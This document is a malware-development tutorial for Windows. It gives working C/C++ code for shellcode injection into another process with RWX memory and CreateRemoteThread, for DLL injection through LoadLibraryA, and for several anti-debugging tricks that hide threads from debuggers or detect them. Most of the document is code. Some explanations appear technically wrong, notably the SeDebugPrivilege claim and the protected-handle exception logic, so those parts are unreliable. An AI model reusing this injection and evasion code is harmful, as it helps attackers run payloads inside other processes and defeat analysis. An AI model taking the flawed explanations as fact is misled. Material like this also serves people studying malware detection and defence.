Malware Development | Processes & Anti-Debug
The goal of this note is to demonstrate basic concepts of windows malware. These samples are easily detected by any EDR.
1 | Shellcode Injection & Execution
#include "stdafx.h"
#include "Windows.h"
unsigned char shellcode[] = {};
int main(int argc, char *argv[]) {
HANDLE processHandle;
PVOID remoteBuffer;
DWORD pid = DWORD(atoi(argv[1]));
/*
HANDLE OpenProcess(
[in] DWORD dwDesiredAccess,
[in] BOOL bInheritHandle,
[in] DWORD dwProcessId
);
get process handle by pid (HANDLE is just a number, 'fd' of windows)
*/
processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
if (!processHandle) return 1;
/*
LPVOID VirtualAllocEx(
[in] HANDLE hProcess,
[in, optional] LPVOID lpAddress,
[in] SIZE_T dwSize,
[in] DWORD flAllocationType,
[in] DWORD flProtect
);
allocate memory IN a process memory OF SIZE shellcode with RWX bits;
also make sure its either 2nd NULL && 4th COMMIT
otherwise allocation will fail (learn.microsoft)
better implement the check for allocation !
*/
remoteBuffer = VirtualAllocEx(processHandle,
NULL,
sizeof shellcode,
MEM_COMMIT,
PAGE_EXECUTE_READWRITE);
/*
BOOL WriteProcessMemory(
[in] HANDLE hProcess,
[in] LPVOID lpBaseAddress,
[in] LPCVOID lpBuffer,
[in] SIZE_T nSize,
[out] SIZE_T *lpNumberOfBytesWritten
);
writes shellcode starting from baseAddress in some process
better implement the check for bytesWritten !
*/
WriteProcessMemory(processHandle, remoteBuffer, shellcode, sizeof shellcode, NULL);
/*
HANDLE CreateRemoteThread(
[in] HANDLE hProcess,
[in] LPSECURITY_ATTRIBUTES lpThreadAttributes,
[in] SIZE_T dwStackSize,
[in] LPTHREAD_START_ROUTINE lpStartAddress,
[in] LPVOID lpParameter,
[in] DWORD dwCreationFlags,
[out] LPDWORD lpThreadId
);
creates a thread that runs in the VA of another process
what process ? handle is there
where to start execution ? ptr to start routine
*/
CreateRemoteThread(processHandle,
NULL, //handle won't be inherited by child processes
0, // use default stack size of the exe
(LPTHREAD_START_ROUTINE)remoteBuffer,
NULL, // ptr to var to be passed to thread function
// may be useful in more complex payloads ?
0, // start thread IMMEDIATELY
NULL);// ptr to var that gets thread id
CloseHandle(processHandle);
return 0;
}2 | DLL injection using CreateRemoteThread
#include "stdafx.h"
#include "Windows.h"
int main(int argc, char *argv[]) {
HANDLE processHandle;
PVOID remoteBuffer;
DWORD pid = atoi(argv[1]);
const char *dllPath = "C:\\inject.dll";
printf("Injecting DLL into PID: %i\n", atoi(argv[1]));
/* open target */
processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
/* allocate memory for the DLL path string */
remoteBuffer = VirtualAllocEx(processHandle, NULL,
strlen(dllPath) + 1,
MEM_COMMIT, PAGE_READWRITE);
/* copy the path string */
WriteProcessMemory(processHandle, remoteBuffer,
(LPVOID)dllPath, strlen(dllPath) + 1, NULL);
/* get the address of LoadLibraryA in this process.
* kernel32.dll is mapped at the same VA in all processes on the same boot,
* so this address is valid in the target too. */
PTHREAD_START_ROUTINE loadLibAddr =
(PTHREAD_START_ROUTINE)GetProcAddress(
GetModuleHandle(TEXT("Kernel32")), "LoadLibraryA");
/* thread in target starts at LoadLibraryA(dllPath) */
CreateRemoteThread(processHandle, NULL, 0,
loadLibAddr, remoteBuffer, 0, NULL);
CloseHandle(processHandle);
return 0;
}3 | Anti-Debug Techniques
3.1 | SeDebugPrivilege
We want to detect whether the process runs under a debugger (which grants SeDebugPrivilege) by trying to open a protected system process. Under a normal user, this fails. Under a debugger with elevated privileges, it succeeds
// pid of whatever.exe (find with Process32First/Next)
HANDLE hDebug = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
if (hDebug != NULL) {
std::cout << "Debugger detected (SeDebugPrivilege present)\n";
CloseHandle(hDebug);
}A normal user process cannot open svchost.exe with
PROCESS_ALL_ACCESS, it returns NULL. A process
under a kernel debugger or elevated debugger can. Requires a valid PID,
which is easy to enumerate.
3.2 | NtSetInformationThread aka Hide Thread from Debugger
We want to hide the current thread from any attached debugger. Once hidden, the debugger no longer receive breakpoint events or single-step notifications for that thread; it effectively runs unobserved (or does it?)
// ThreadInformationClass 0x11 == ThreadHideFromDebugger
NTSTATUS stat = NtSetInformationThread(
GetCurrentThread(),
0x11, // ThreadHideFromDebugger
NULL,
0
);0x11 is the undocumented
ThreadHideFromDebugger class.
Calling this makes NtQueryInformationThread return a
flag that causes the kernel to suppress debug events for this thread.
The debugger sees the thread as running but never receives
EXCEPTION_DEBUG_EVENT from it.
3.3 | NtCreateThreadEx aka Create Thread Hidden at Birth
We need to create a new thread that is hidden from debuggers from the moment it is created, before it runs a single instruction.
HANDLE hThr = 0;
NTSTATUS status = NtCreateThreadEx(
&hThr,
THREAD_ALL_ACCESS,
0,
NtCurrentProcess(),
(LPTHREAD_START_ROUTINE)next, // 'start execution' address
0,
THREAD_CREATE_FLAGS_HIDE_FROM_DEBUGGER, // 0x4
0, 0, 0, 0
);THREAD_CREATE_FLAGS_HIDE_FROM_DEBUGGER (bit 2 of the
flags argument) sets the hide flag in the kernel thread object at
creation time. Unlike NtSetInformationThread (which can be
patched or hooked), this flag is set before the thread’s
START_CONTEXT is queued, giving the debugger no window to
intercept.
3.4 | Protected Handle aka Exception-Based Debugger Check
Goal: detect a debugger by abusing
HANDLE_FLAG_PROTECT_FROM_CLOSE. Under a debugger, the
exception from closing a protected handle is handled differently than in
a normal process.
// prototype
BOOL SetHandleInformation(
HANDLE hObject,
DWORD dwMask,
DWORD dwFlags
);
HANDLE hMyMutex = CreateMutex(NULL, FALSE, _T("MyMutex"));
SetHandleInformation(hMyMutex,
HANDLE_FLAG_PROTECT_FROM_CLOSE,
HANDLE_FLAG_PROTECT_FROM_CLOSE);
__try {
CloseHandle(hMyMutex); // raises STATUS_HANDLE_NOT_CLOSABLE
} __except (HANDLE_FLAG_PROTECT_FROM_CLOSE) {
std::cout << "Debugger detected (exception handling divergence)\n";
}HANDLE_FLAG_PROTECT_FROM_CLOSE prevents the handle from
being closed: CloseHandle raises a structured exception. In
a normal process, the SEH filter catches it and control stays in
__except.
When a ring 0 debugger is present, the exception is dispatched in a different way, that is the first-chance handler goes to the debugger instead of to your filter, which is the detection signal.